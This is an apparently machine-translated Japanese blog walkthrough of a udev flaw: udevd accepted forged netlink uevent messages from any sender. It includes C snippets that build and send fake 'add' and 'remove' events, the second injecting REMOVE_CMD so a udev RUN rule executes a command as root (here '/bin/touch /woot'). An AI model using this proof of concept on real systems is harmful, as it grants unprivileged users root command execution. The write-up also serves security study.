Input- udevは、メッセージの送信者をチェックしません 。
そして、次のステップでエクスプロイトを作成する簡単なプロセス全体を示します。
- udevソースをダウンロードします。grepで、プロトコルNETLINK_KOBJECT_UEVENTのnetlinkソケットを作成する必要があることがわかります。
int netlink_socket = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
-
man 7 netlink
を読み、パッケージの宛先アドレスを入力します。
struct sockaddr_nl dest;<br/>memset(&dest, 0, sizeof(dest));<br/>dest.nl_family = AF_NETLINK;<br/>dest.nl_pid = pidof_udev;<br/>
-
strace -p `pidof udevd`
実行し、USBに何かを挿入して、おおよそのパッケージ形式を取得します。#define REQ(act, dev) \<br/> act "@/class/mem/" dev "\0" \<br/> "UDEV_LOG=3\0" \<br/> "ACTION=" act "\0" \<br/> "DEVPATH=/class/mem/" dev "\0" \<br/> "SUBSYSTEM=mem\0" \<br/> "MAJOR=1\0" \<br/> "MINOR=1\0" \<br/> "SEQNUM=3747\0" \<br/> "UDEVD_EVENT=1\0" \<br/> "DEVNAME=/dev/" dev "\0"<br/>char req1[] = REQ("add", "ufo");
- このパッケージを出荷します。
sendto(netlink_socket, req1, sizeof(req1)-1, 0, (struct sockaddr*)&dest, sizeof(dest));
- udevソースコードをもう一度調べてみると、デーモンがバックグラウンドに移行する前にnetlinkソケットが開かれていることがわかります。fork()-ハッキング。 通常、 PIDは順番に発行されるため、わずかに異なるアドレスを設定してみましょう。
dest.nl_pid = pidof_udev - 1 ;
send()
はエラーを返しませんでした。さらに、/dev/ufo
奇妙なファイル/dev/ufo
が現れました。これは、udevの穴を通して作成されたものです。 しかし、デバイスを作成することはあまり面白くないので、コードを実行する方が良いです。 - 特別なデバイス
/dev/mem
および/dev/kmem
使用してコードをカーネルに注入するのは難しい方法ですが、概念実証のために道を切り開くこともできます。grep -r RUN /etc/udev/rules.d/
を実行して、奇妙に書かれたルールを見つけます。ACTION=="remove", ENV{REMOVE_CMD}!="", RUN+="$env{REMOVE_CMD}"
- 別のnetlinkメッセージを追加します。今回は
/dev/ufo
を削除します:char req2[] = REQ("remove", "ufo") "REMOVE_CMD=/bin/touch /woot\0";<br/>sendto(netlink_socket, req2, sizeof(req2)-1, 0, (struct sockaddr*)&dest, sizeof(dest));
/woot
!
PS退屈なトピックですね。